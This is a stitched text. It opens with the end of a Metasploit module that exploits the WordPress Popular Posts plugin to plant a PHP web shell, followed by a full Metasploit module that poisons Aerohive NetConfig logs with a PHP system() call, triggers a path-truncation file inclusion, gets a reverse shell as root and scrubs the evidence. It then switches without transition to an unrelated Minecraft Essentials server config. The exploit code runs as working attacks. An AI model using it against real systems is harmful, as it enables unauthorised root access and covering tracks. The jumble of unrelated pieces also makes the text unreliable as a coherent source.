'Content-Type' => 'image/gif') close_client(cli) # for some odd reason we need to close the connection manually for PHP/WP to finish its functions Rex.sleep(2) # wait for WP to finish all the checks it needs trigger_payload(on_disk_payload_name) end print_status("Received unexpected #{request.method} request") end def check_gd_installed(cookie) vprint_status('Checking if gd is installed') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 res.body.include? ' gd' end def get_wpp_admin_token(cookie) vprint_status('Retrieving wpp_admin token') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'tools' } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 /<input type="hidden" id="wpp-admin-token" name="wpp-admin-token" value="([^"]*)/ =~ res.body Regexp.last_match(1) end def change_settings(cookie, token) vprint_status('Updating popular posts settings for images') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' }, 'vars_post' => { 'upload_thumb_src' => '', 'thumb_source' => 'custom_field', 'thumb_lazy_load' => 0, 'thumb_field' => 'wpp_thumbnail', 'thumb_field_resize' => 1, 'section' => 'thumb', 'wpp-admin-token' => token } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Unable to save/change settings') unless /<strong>Settings saved/ =~ res.body end def clear_cache(cookie, token) vprint_status('Clearing image cache') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' }, 'vars_post' => { 'action' => 'wpp_clear_thumbnail', 'wpp-admin-token' => token } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 end def enable_custom_fields(cookie, custom_nonce, post) # this should enable the ajax_nonce, it will 302 us back to the referer page as well so we can get it. res = send_request_cgi!( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post.php'), 'cookie' => cookie, 'keep_cookies' => 'true', 'method' => 'POST', 'vars_post' => { 'toggle-custom-fields-nonce' => custom_nonce, '_wp_http_referer' => "#{normalize_uri(target_uri.path, 'wp-admin', 'post.php')}?post=#{post}&action=edit", 'action' => 'toggle-custom-fields' } ) /name="_ajax_nonce-add-meta" value="([^"]*)/ =~ res.body Regexp.last_match(1) end def create_post(cookie) vprint_status('Creating new post') # get post ID and nonces res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post-new.php'), 'cookie' => cookie, 'keep_cookies' => 'true' ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 /name="_ajax_nonce-add-meta" value="(?<ajax_nonce>[^"]*)/ =~ res.body /wp.apiFetch.nonceMiddleware = wp.apiFetch.createNonceMiddleware\( "(?<wp_nonce>[^"]*)/ =~ res.body /},"post":{"id":(?<post_id>\d*)/ =~ res.body if ajax_nonce.nil? print_error('missing ajax nonce field, attempting to re-enable. if this fails, you may need to change the interface to enable this. See https://www.hostpapa.com/knowledgebase/add-custom-meta-boxes-wordpress-posts/. Or check (while writing a post) Options > Preferences > Panels > Additional > Custom Fields.') /name="toggle-custom-fields-nonce" value="(?<custom_nonce>[^"]*)/ =~ res.body ajax_nonce = enable_custom_fields(cookie, custom_nonce, post_id) end unless ajax_nonce.nil? vprint_status("ajax nonce: #{ajax_nonce}") end unless wp_nonce.nil? vprint_status("wp nonce: #{wp_nonce}") end unless post_id.nil? vprint_status("Created Post: #{post_id}") end fail_with(Failure::UnexpectedReply, 'Unable to retrieve nonces and/or new post id') unless ajax_nonce && wp_nonce && post_id # publish new post vprint_status("Writing content to Post: #{post_id}") # this is very different from the EDB POC, I kept getting 200 to the home page with their example, so this is based off what the UI submits res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'ctype' => 'application/json', 'accept' => 'application/json', 'vars_get' => { '_locale' => 'user', 'rest_route' => normalize_uri(target_uri.path, 'wp', 'v2', 'posts', post_id) }, 'data' => { 'id' => post_id, 'title' => Rex::Text.rand_text_alphanumeric(20..30), 'content' => "<!-- wp:paragraph -->\n<p>#{Rex::Text.rand_text_alphanumeric(100..200)}</p>\n<!-- /wp:paragraph -->", 'status' => 'publish' }.to_json, 'headers' => { 'X-WP-Nonce' => wp_nonce, 'X-HTTP-Method-Override' => 'PUT' } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Post failed to publish') unless res.body.include? '"status":"publish"' return post_id, ajax_nonce, wp_nonce end def add_meta(cookie, post_id, ajax_nonce, payload_name) payload_url = "http://#{datastore['SRVHOSTNAME']}:#{datastore['SRVPORT']}/#{payload_name}" vprint_status("Adding malicious metadata for redirect to #{payload_url}") res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_post' => { '_ajax_nonce' => 0, 'action' => 'add-meta', 'metakeyselect' => 'wpp_thumbnail', 'metakeyinput' => '', 'metavalue' => payload_url, '_ajax_nonce-add-meta' => ajax_nonce, 'post_id' => post_id } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Failed to update metadata') unless res.body.include? "<tr id='meta-" end def boost_post(cookie, post_id, wp_nonce, post_count) # redirect as needed res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'keep_cookies' => 'true', 'cookie' => cookie, 'vars_get' => { 'page_id' => post_id } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 || res.code == 301 print_status("Sending #{post_count} views to #{res.headers['Location']}") location = res.headers['Location'].split('/')[3...-1].join('/') # http://example.com/<take this value>/<and anything after> (1..post_count).each do |_c| res = send_request_cgi!( 'uri' => "/#{location}", 'cookie' => cookie, 'keep_cookies' => 'true' ) # just send away, who cares about the response fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 res = send_request_cgi( # this URL varies from the POC on EDB, and is modeled after what the browser does 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vars_get' => { 'rest_route' => normalize_uri('wordpress-popular-posts', 'v1', 'popular-posts') }, 'keep_cookies' => 'true', 'method' => 'POST', 'cookie' => cookie, 'vars_post' => { '_wpnonce' => wp_nonce, 'wpp_id' => post_id, 'sampling' => 0, 'sampling_rate' => 100 } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 201 end fail_with(Failure::Unreachable, 'Site not responding') unless res end def get_top_posts print_status('Determining post with most views') res = get_widget />(?<views>\d+) views</ =~ res.body views = views.to_i print_status("Top Views: #{views}") views += 5 # make us the top post unless datastore['VISTS'].nil? print_status("Overriding post count due to VISITS being set, from #{views} to #{datastore['VISITS']}") views = datastore['VISITS'] end views end def get_widget # load home page to grab the widget ID. At times we seem to hit the widget when it's refreshing and it doesn't respond # which then would kill the exploit, so in this case we just keep trying. (1..10).each do |_| @res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => 'true' ) break unless @res.nil? end fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless @res.code == 200 /data-widget-id="wpp-(?<widget_id>\d+)/ =~ @res.body # load the widget directly (1..10).each do |_| @res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php', 'wp-json', 'wordpress-popular-posts', 'v1', 'popular-posts', 'widget', widget_id), 'keep_cookies' => 'true', 'vars_get' => { 'is_single' => 0 } ) break unless @res.nil? end fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless @res.code == 200 @res end def exploit fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful') if datastore['SRVHOST'] == '0.0.0.0' cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD']) if cookie.nil? vprint_error('Invalid login, check credentials') return end payload_name = "#{Rex::Text.rand_text_alphanumeric(5..8)}.gif.php" vprint_status("Payload file name: #{payload_name}") fail_with(Failure::NotVulnerable, 'gd is not installed on server, uexploitable') unless check_gd_installed(cookie) post_count = get_top_posts # we dont need to pass the cookie anymore since its now saved into http client token = get_wpp_admin_token(cookie) vprint_status("wpp_admin_token: #{token}") change_settings(cookie, token) clear_cache(cookie, token) post_id, ajax_nonce, wp_nonce = create_post(cookie) print_status('Starting web server to handle request for image payload') start_service({ 'Uri' => { 'Proc' => proc { |cli, req| on_request_uri(cli, req, payload_name, post_id) }, 'Path' => "/#{payload_name}" } }) add_meta(cookie, post_id, ajax_nonce, payload_name) boost_post(cookie, post_id, wp_nonce, post_count) print_status('Waiting 90sec for cache refresh by server') Rex.sleep(90) print_status('Attempting to force loading of shell by visiting to homepage and loading the widget') res = get_widget print_good('We made it to the top!') if res.body.include? payload_name # if res.body.include? datastore['SRVHOSTNAME'] # fail_with(Failure::UnexpectedReply, "Found #{datastore['SRVHOSTNAME']} in page content. Payload likely wasn't copied to the server.") # end # at this point, we rely on our web server getting requests to make the rest happen endend### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Aerohive NetConfig 10.0r8a LFI and log poisoning to RCE', 'Description' => %q{ This module exploits LFI and log poisoning vulnerabilities (CVE-2020-16152) in Aerohive NetConfig, version 10.0r8a build-242466 and older in order to achieve unauthenticated remote code execution as the root user. NetConfig is the Aerohive/Extreme Networks HiveOS administrative webinterface. Vulnerable versions allow for LFI because they rely on a version of PHP 5 that is vulnerable to string truncation attacks. This module leverages this issue in conjunction with log poisoning to gain RCE as root. Upon successful exploitation, the Aerohive NetConfig application will hang for as long as the spawned shell remains open. Closing the session should render the app responsive again. The module provides an automatic cleanup option to clean the log. However, this option is disabled by default because any modifications to the /tmp/messages log, even via sed, may render the target (temporarily) unexploitable. This state can last over an hour. This module has been successfully tested against Aerohive NetConfig versions 8.2r4 and 10.0r7a. }, 'License' => MSF_LICENSE, 'Author' => [ 'Erik de Jong', # github.com/eriknl - discovery and PoC 'Erik Wynter' # @wyntererik - Metasploit ], 'References' => [ ['CVE', '2020-16152'], # still categorized as RESERVED ['URL', 'https://github.com/eriknl/CVE-2020-16152'] # analysis and PoC code ], 'DefaultOptions' => { 'SSL' => true, 'RPORT' => 443 }, 'Platform' => %w[linux unix], 'Arch' => [ ARCH_ARMLE, ARCH_CMD ], 'Targets' => [ [ 'Linux', { 'Arch' => [ARCH_ARMLE], 'Platform' => 'linux', 'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp', 'CMDSTAGER::FLAVOR' => 'curl' } } ], [ 'CMD', { 'Arch' => [ARCH_CMD], 'Platform' => 'unix', 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_openssl' # this may be the only payload that works for this target' } } ] ], 'Privileged' => true, 'DisclosureDate' => '2020-02-17', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('TARGETURI', [true, 'The base path to Aerohive NetConfig', '/']), OptBool.new('AUTO_CLEAN_LOG', [true, 'Automatically clean the /tmp/messages log upon spawning a shell. WARNING! This may render the target unexploitable', false]), ] end def auto_clean_log datastore['AUTO_CLEAN_LOG'] end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'index.php5') }) unless res return CheckCode::Unknown('Connection failed.') end unless res.code == 200 && res.body.include?('Aerohive NetConfig UI') return CheckCode::Safe('Target is not an Aerohive NetConfig application.') end version = res.body.scan(/action="login\.php5\?version=(.*?)"/)&.flatten&.first unless version return CheckCode::Detected('Could not determine Aerohive NetConfig version.') end begin if Rex::Version.new(version) <= Rex::Version.new('10.0r8a') return CheckCode::Appears("The target is Aerohive NetConfig version #{version}") else print_warning('It should be noted that it is unclear if/when this issue was patched, so versions after 10.0r8a may still be vulnerable.') return CheckCode::Safe("The target is Aerohive NetConfig version #{version}") end rescue StandardError => e return CheckCode::Unknown("Failed to obtain a valid Aerohive NetConfig version: #{e}") end end def poison_log password = rand_text_alphanumeric(8..12) @shell_cmd_name = rand_text_alphanumeric(3..6) @poison_cmd = "<?php system($_POST['#{@shell_cmd_name}']);?>" # Poison /tmp/messages print_status('Attempting to poison the log at /tmp/messages...') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'login.php5'), 'vars_post' => { 'login_auth' => 0, 'miniHiveUI' => 1, 'authselect' => 'Name/Password', 'userName' => @poison_cmd, 'password' => password } }) unless res fail_with(Failure::Disconnected, 'Connection failed while trying to poison the log at /tmp/messages') end unless res.code == 200 && res.body.include?('cmn/redirectLogin.php5?ERROR_TYPE=MQ==') fail_with(Failure::UnexpectedReply, 'Unexpected response received while trying to poison the log at /tmp/messages') end print_status('Server responded as expected. Continuing...') end def on_new_session(session) log_cleaned = false if auto_clean_log print_status('Attempting to clean the log file at /tmp/messages...') print_warning('Please note this will render the target (temporarily) unexploitable. This state can last over an hour.') begin # We need remove the line containing the PHP system call from /tmp/messages # The special chars in the PHP syscall make it nearly impossible to use sed to replace the PHP syscall with a regular username. # Instead, let's avoid special chars by stringing together some grep commands to make sure we have the right line and then removing that entire line # The impact of using sed to edit the file on the fly and using grep to create a new file and overwrite /tmp/messages with it, is the same: # In both cases the app will likely stop writing to /tmp/messages for quite a while (could be over an hour), rendering the target unexploitable during that period. line_to_delete_file = "/tmp/#{rand_text_alphanumeric(5..10)}" clean_messages_file = "/tmp/#{rand_text_alphanumeric(5..10)}" cmds_to_clean_log = "grep #{@shell_cmd_name} /tmp/messages | grep POST | grep 'php system' > #{line_to_delete_file}; "\ "grep -vFf #{line_to_delete_file} /tmp/messages > #{clean_messages_file}; mv #{clean_messages_file} /tmp/messages; rm -f #{line_to_delete_file}" if session.type.to_s.eql? 'meterpreter' session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi' session.sys.process.execute('/bin/sh', "-c \"#{cmds_to_clean_log}\"") # Wait for cleanup Rex.sleep 5 # Check for the PHP system call in /tmp/messages messages_contents = session.fs.file.open('/tmp/messages').read.to_s # using =~ here produced unexpected results, so include? is used instead unless messages_contents.include?(@poison_cmd) log_cleaned = true end elsif session.type.to_s.eql?('shell') session.shell_command_token(cmds_to_clean_log.to_s) # Check for the PHP system call in /tmp/messages poison_evidence = session.shell_command_token("grep #{@shell_cmd_name} /tmp/messages | grep POST | grep 'php system'") # using =~ here produced unexpected results, so include? is used instead unless poison_evidence.include?(@poison_cmd) log_cleaned = true end end rescue StandardError => e print_error("Error during cleanup: #{e.message}") ensure super end unless log_cleaned print_warning("Could not replace the PHP system call '#{@poison_cmd}' in /tmp/messages") end end if log_cleaned print_good('Successfully cleaned up the log by deleting the line with the PHP syscal from /tmp/messages.') else print_warning("Erasing the log poisoning evidence will require manually editing/removing the line in /tmp/messages that contains the poison command:\n\t#{@poison_cmd}") print_warning('Please note that any modifications to /tmp/messages, even via sed, will render the target (temporarily) unexploitable. This state can last over an hour.') print_warning('Deleting /tmp/messages or clearing out the file may break the application.') end end def execute_command(cmd, _opts = {}) print_status('Attempting to execute the payload') send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'action.php5'), 'vars_get' => { '_action' => 'list', 'debug' => 'true' }, 'vars_post' => { '_page' => rand_text_alphanumeric(1) + '/..' * 8 + '/' * 4041 + '/tmp/messages', # Trigger LFI through path truncation @shell_cmd_name => cmd } }, 0) print_warning('In case of successful exploitation, the Aerohive NetConfig web application will hang for as long as the spawned shell remains open.') end def exploit poison_log if target.arch.first == ARCH_CMD print_status('Executing the payload') execute_command(payload.encoded) else execute_cmdstager(background: true) end endend
Altiruss
############################################################ # +------------------------------------------------------+ # # | Notes | # # +------------------------------------------------------+ # ############################################################ # If you want to use special characters in this document, such as accented letters, you MUST save the file as UTF-8, not ANSI. # If you receive an error when Essentials loads, ensure that: # - No tabs are present: YAML only allows spaces # - Indents are correct: YAML hierarchy is based entirely on indentation # - You have "escaped" all apostrophes in your text: If you want to write "don't", for example, write "don''t" instead (note the doubled apostrophe) # - Text with symbols is enclosed in single or double quotation marks # If you have problems join the Essentials help support channel: http://tiny.cc/EssentialsChat ############################################################ # +------------------------------------------------------+ # # | Essentials (Global) | # # +------------------------------------------------------+ # ############################################################ # A color code between 0-9 or a-f. Set to 'none' to disable. ops-name-color: 'none' # The character(s) to prefix all nicknames, so that you know they are not true usernames. nickname-prefix: '~' # Disable this if you have any other plugin, that modifies the displayname of a user. change-displayname: true # When this option is enabled, the (tab) player list will be updated with the displayname. # The value of change-displayname (above) has to be true. #change-playerlist: true # When essentialschat.jar isnt used, force essentials to add the prefix and suffix from permission plugins to displayname # This setting is ignored if essentialschat.jar is used, and defaults to 'true' # The value of change-displayname (above) has to be true. # Do not edit this setting unless you know what you are doing! #add-prefix-suffix: false # The delay, in seconds, required between /home, /tp, etc. teleport-cooldown: 5 # The delay, in seconds, before a user actually teleports. If the user moves or gets attacked in this timeframe, the teleport never occurs. teleport-delay: 5 # The delay, in seconds, a player can't be attacked by other players after they have been teleported by a command # This will also prevent the player attacking other players teleport-invulnerability: 4 # The delay, in seconds, required between /heal attempts heal-cooldown: 60 # What to prevent from /i /give # e.g item-spawn-blacklist: 46,11,10 item-spawn-blacklist: # Set this to true if you want permission based item spawn rules # Note: The blacklist above will be ignored then. # Permissions: # - essentials.itemspawn.item-all # - essentials.itemspawn.item-[itemname] # - essentials.itemspawn.item-[itemid] # - essentials.give.item-all # - essentials.give.item-[itemname] # - essentials.give.item-[itemid] # For more information, visit http://wiki.ess3.net/wiki/Command_Reference/ICheat#Item.2FGive permission-based-item-spawn: false # Mob limit on the /spawnmob command per execution spawnmob-limit: 10 # Shall we notify users when using /lightning warn-on-smite: true # motd and rules are now configured in the files motd.txt and rules.txt # When a command conflicts with another plugin, by default, Essentials will try to force the OTHER plugin to take priority. # Commands in this list, will tell Essentials to 'not give up' the command to other plugins. # In this state, which plugin 'wins' appears to be almost random. # # If you have two plugin with the same command and you wish to force Essentials to take over, you need an alias. # To force essentials to take 'god' alias 'god' to 'egod'. # See http://wiki.bukkit.org/Bukkit.yml#aliases for more information overridden-commands: # - god # Disabled commands will be completely unavailable on the server. # Disabling commands here will have no effect on command conflicts. disabled-commands: # - nick # These commands will be shown to players with socialSpy enabled # You can add commands from other plugins you may want to track or # remove commands that are used for something you dont want to spy on socialspy-commands: - msg - w - r - mail - m - t - whisper - emsg - tell - er - reply - ereply - email - action - describe - eme - eaction - edescribe - etell - ewhisper - pm # If you do not wish to use a permission system, you can define a list of 'player perms' below. # This list has no effect if you are using a supported permissions system. # If you are using an unsupported permissions system simply delete this section. # Whitelist the commands and permissions you wish to give players by default (everything else is op only). # These are the permissions without the "essentials." part. player-commands: - afk - afk.auto - back - back.ondeath - balance - balance.others - balancetop - build - chat.color - chat.format - chat.shout - chat.question - clearinventory - compass - depth - delhome - getpos - geoip.show - help - helpop - home - home.others - ignore - info - itemdb - kit - kits.tools - list - mail - mail.send - me - motd - msg - msg.color - nick - near - pay - ping - protect - r - rules - realname - seen - sell - sethome - setxmpp - signs.create.protection - signs.create.trade - signs.break.protection - signs.break.trade - signs.use.balance - signs.use.buy - signs.use.disposal - signs.use.enchant - signs.use.free - signs.use.gamemode - signs.use.heal - signs.use.info - signs.use.kit - signs.use.mail - signs.use.protection - signs.use.repair - signs.use.sell - signs.use.time - signs.use.trade - signs.use.warp - signs.use.weather - spawn - suicide - time - tpa - tpaccept - tpahere - tpdeny - warp - warp.list - world - worth - xmpp # Note: All items MUST be followed by a quantity! # All kit names should be lower case, and will be treated as lower in permissions/costs. # Syntax: - itemID[:DataValue/Durability] Amount [Enchantment:Level].. [itemmeta:value]... # For Item meta information visit http://wiki.ess3.net/wiki/Item_Meta # 'delay' refers to the cooldown between how often you can use each kit, measured in seconds. # For more information, visit http://wiki.ess3.net/wiki/Kits kits: tools: delay: 10 items: - 272 1 - 273 1 - 274 1 - 275 1 dtools: delay: 600 items: - 278 1 efficiency:1 durability:1 fortune:1 name:&4Gigadrill lore:The_drill_that_&npierces|the_heavens - 277 1 digspeed:3 name:Dwarf lore:Diggy|Diggy|Hole - 298 1 color:255,255,255 name:Top_Hat lore:Good_day,_Good_day - 279:780 1 notch: delay: 6000 items: - 397:3 1 player:Notch color: delay: 6000 items: - 387 1 title:&4Book_&9o_&6Colors author:KHobbits lore:Ingame_color_codes book:Colors firework: delay: 6000 items: - 401 1 name:Angry_Creeper color:red fade:green type:creeper power:1 - 401 1 name:StarryNight color:yellow,orange fade:blue type:star effect:trail,twinkle power:1 - 401 2 name:SolarWind color:yellow,orange fade:red shape:large effect:twinkle color:yellow,orange fade:red shape:ball effect:trail color:red,purple fade:pink shape:star effect:trail power:1 # Essentials Sign Control # See http://wiki.ess3.net/wiki/Sign_Tutorial for instructions on how to use these. # To enable signs, remove # symbol. To disable all signs, comment/remove each sign. # Essentials Colored sign support will be enabled when any sign types are enabled. # Color is not an actual sign, it's for enabling using color codes on signs, when the correct permissions are given. enabledSigns: #- color #- balance #- buy #- sell #- trade #- free #- disposal #- warp #- kit #- mail #- enchant #- gamemode #- heal #- info #- spawnmob #- repair #- time #- weather # How many times per second can Essentials signs be interacted with per player. # Values should be between 1-20, 20 being virtually no lag protection. # Lower numbers will reduce the possibility of lag, but may annoy players. sign-use-per-second: 4 # Backup runs a batch/bash command while saving is disabled backup: # Interval in minutes interval: 30 # Unless you add a valid backup command or script here, this feature will be useless. # Use 'save-all' to simply force regular world saving without backup. #command: 'rdiff-backup World1 backups/World1' # Set this true to enable permission per warp. per-warp-permission: false # Sort output of /list command by groups sort-list-by-groups: false # More output to the console debug: false # Set the locale for all messages # If you don't set this, the default locale of the server will be used. # For example, to set language to English, set locale to en, to use the file "messages_en.properties" # Don't forget to remove the # in front of the line # For more information, visit http://wiki.ess3.net/wiki/Locale #locale: en # Turn off god mode when people exit remove-god-on-disconnect: false # Auto-AFK # After this timeout in seconds, the user will be set as afk. # Set to -1 for no timeout. auto-afk: 300 # Auto-AFK Kick # After this timeout in seconds, the user will be kicked from the server. # Set to -1 for no timeout. auto-afk-kick: -1 # Set this to true, if you want to freeze the player, if he is afk. # Other players or monsters can't push him out of afk mode then. # This will also enable temporary god mode for the afk player. # The player has to use the command /afk to leave the afk mode. freeze-afk-players: false # When the player is afk, should he be able to pickup items? # Enable this, when you don't want people idling in mob traps. disable-item-pickup-while-afk: false # This setting controls if a player is marked as active on interaction. # When this setting is false, you will need to manually un-AFK using the /afk command. cancel-afk-on-interact: true # Should we automatically remove afk status when the player moves? # Player will be removed from AFK on chat/command regardless of this setting. # Disable this to reduce server lag. cancel-afk-on-move: true # You can disable the death messages of Minecraft here death-messages: true # Add worlds to this list, if you want to automatically disable god mode there no-god-in-worlds: # - world_nether # Set to true to enable per-world permissions for teleporting between worlds with essentials commands # This applies to /world, /back, /tp[a|o][here|all], but not warps. # Give someone permission to teleport to a world with essentials.worlds.<worldname> # This does not affect the /home command, there is a separate toggle below for this. world-teleport-permissions: false # The number of items given if the quantity parameter is left out in /item or /give. # If this number is below 1, the maximum stack size size is given. If over-sized stacks # are not enabled, any number higher than the maximum stack size results in more than one stack. default-stack-size: -1 # Over-sized stacks are stacks that ignore the normal max stack size. # They can be obtained using /give and /item, if the player has essentials.oversizedstacks permission. # How many items should be in an over-sized stack? oversized-stacksize: 64 # Allow repair of enchanted weapons and armor. # If you set this to false, you can still allow it for certain players using the permission # essentials.repair.enchanted repair-enchanted: true # Allow 'unsafe' enchantments in kits and item spawning. # Warning: Mixing and overleveling some enchantments can cause issues with clients, servers and plugins. unsafe-enchantments: false #Do you want essentials to keep track of previous location for /back in the teleport listener? #If you set this to true any plugin that uses teleport will have the previous location registered. register-back-in-listener: false #Delay to wait before people can cause attack damage after logging in login-attack-delay: 5 #Set the max fly speed, values range from 0.1 to 1.0 max-fly-speed: 0.8 #Set the maximum amount of mail that can be sent within a minute. mails-per-minute: 1000 # Set the maximum time /tempban can be used for in seconds. # Set to -1 to disable, and essentials.tempban.unlimited can be used to override. max-tempban-time: -1 ############################################################ # +------------------------------------------------------+ # # | EssentialsHome | # # +------------------------------------------------------+ # ############################################################ # Allows people to set their bed at daytime update-bed-at-daytime: true # Set to true to enable per-world permissions for using homes to teleport between worlds # This applies to the /home only. # Give someone permission to teleport to a world with essentials.worlds.<worldname> world-home-permissions: false # Allow players to have multiple homes. # Players need essentials.sethome.multiple before they can have more than 1 home, defaults to 'default' below. # Define different amounts of multiple homes for different permissions, e.g. essentials.sethome.multiple.vip # People with essentials.sethome.multiple.unlimited are not limited by these numbers. # For more information, visit http://wiki.ess3.net/wiki/Multihome sethome-multiple: default: 3 # essentials.sethome.multiple.vip vip: 5 # essentials.sethome.multiple.staff staff: 10 # Set timeout in seconds for players to accept tpa before request is cancelled. # Set to 0 for no timeout tpa-accept-cancellation: 120 ############################################################ # +------------------------------------------------------+ # # | EssentialsEco | # # +------------------------------------------------------+ # ############################################################ # For more information, visit http://wiki.ess3.net/wiki/Essentials_Economy # Defines the balance with which new players begin. Defaults to 0. starting-balance: 0 # worth-# defines the value of an item when it is sold to the server via /sell. # These are now defined in worth.yml # Defines the cost to use the given commands PER USE # Some commands like /repair have sub-costs, check the wiki for more information. command-costs: # /example costs $1000 PER USE #example: 1000 # /kit tools costs $1500 PER USE #kit-tools: 1500 # Set this to a currency symbol you want to use. currency-symbol: '$' # Set the maximum amount of money a player can have # The amount is always limited to 10 trillion because of the limitations of a java double max-money: 10000000000000 # Set the minimum amount of money a player can have (must be above the negative of max-money). # Setting this to 0, will disable overdrafts/loans completely. Users need 'essentials.eco.loan' perm to go below 0. min-money: -10000 # Enable this to log all interactions with trade/buy/sell signs and sell command economy-log-enabled: false ############################################################ # +------------------------------------------------------+ # # | EssentialsHelp | # # +------------------------------------------------------+ # ############################################################ # Show other plugins commands in help non-ess-in-help: true # Hide plugins which do not give a permission # You can override a true value here for a single plugin by adding a permission to a user/group. # The individual permission is: essentials.help.<plugin>, anyone with essentials.* or '*' will see all help regardless. # You can use negative permissions to remove access to just a single plugins help if the following is enabled. hide-permissionless-help: true ############################################################ # +------------------------------------------------------+ # # | EssentialsChat | # # +------------------------------------------------------+ # ############################################################ chat: # If EssentialsChat is installed, this will define how far a player's voice travels, in blocks. Set to 0 to make all chat global. # Note that users with the "essentials.chat.spy" permission will hear everything, regardless of this setting. # Users with essentials.chat.shout can override this by prefixing text with an exclamation mark (!) # Users with essentials.chat.question can override this by prefixing text with a question mark (?) # You can add command costs for shout/question by adding chat-shout and chat-question to the command costs section." radius: 0 # Chat formatting can be done in two ways, you can either define a standard format for all chat # Or you can give a group specific chat format, to give some extra variation. # If set to the default chat format which "should" be compatible with ichat. # For more information of chat formatting, check out the wiki: http://wiki.ess3.net/wiki/Chat_Formatting format: '&l{DISPLAYNAME} &3➽ &f&l{MESSAGE}' Dziewczyna: '{DISPLAYNAME} &3➽ &5 {MESSAGE}' #format: '&7[{GROUP}]&r {DISPLAYNAME}&7:&r {MESSAGE}' group-formats: # Default: '{WORLDNAME} {DISPLAYNAME}&7:&r {MESSAGE}' # Admins: '{WORLDNAME} &c[{GROUP}]&r {DISPLAYNAME}&7:&c {MESSAGE}' # If you are using group formats make sure to remove the '#' to allow the setting to be read. ############################################################ # +------------------------------------------------------+ # # | EssentialsProtect | # # +------------------------------------------------------+ # ############################################################ protect: # Database settings for sign/rail protection # mysql or sqlite # We strongly recommend against using mysql here, unless you have a good reason. # Sqlite seems to be faster in almost all cases, and in some cases mysql can be much slower. datatype: 'sqlite' # If you specified MySQL above, you MUST enter the appropriate details here. # If you specified SQLite above, these will be IGNORED. username: 'root' password: 'root' mysqlDb: 'jdbc:mysql://localhost:3306/minecraft' # General physics/behavior modifications prevent: lava-flow: false water-flow: false water-bucket-flow: false fire-spread: true lava-fire-spread: true flint-fire: false lightning-fire-spread: true portal-creation: false tnt-explosion: false tnt-playerdamage: false fireball-explosion: false fireball-fire: false fireball-playerdamage: false witherskull-explosion: false witherskull-playerdamage: false wither-spawnexplosion: false wither-blockreplace: false creeper-explosion: false creeper-playerdamage: false creeper-blockdamage: false enderdragon-blockdamage: true enderman-pickup: false villager-death: false # Monsters won't follow players # permission essentials.protect.entitytarget.bypass disables 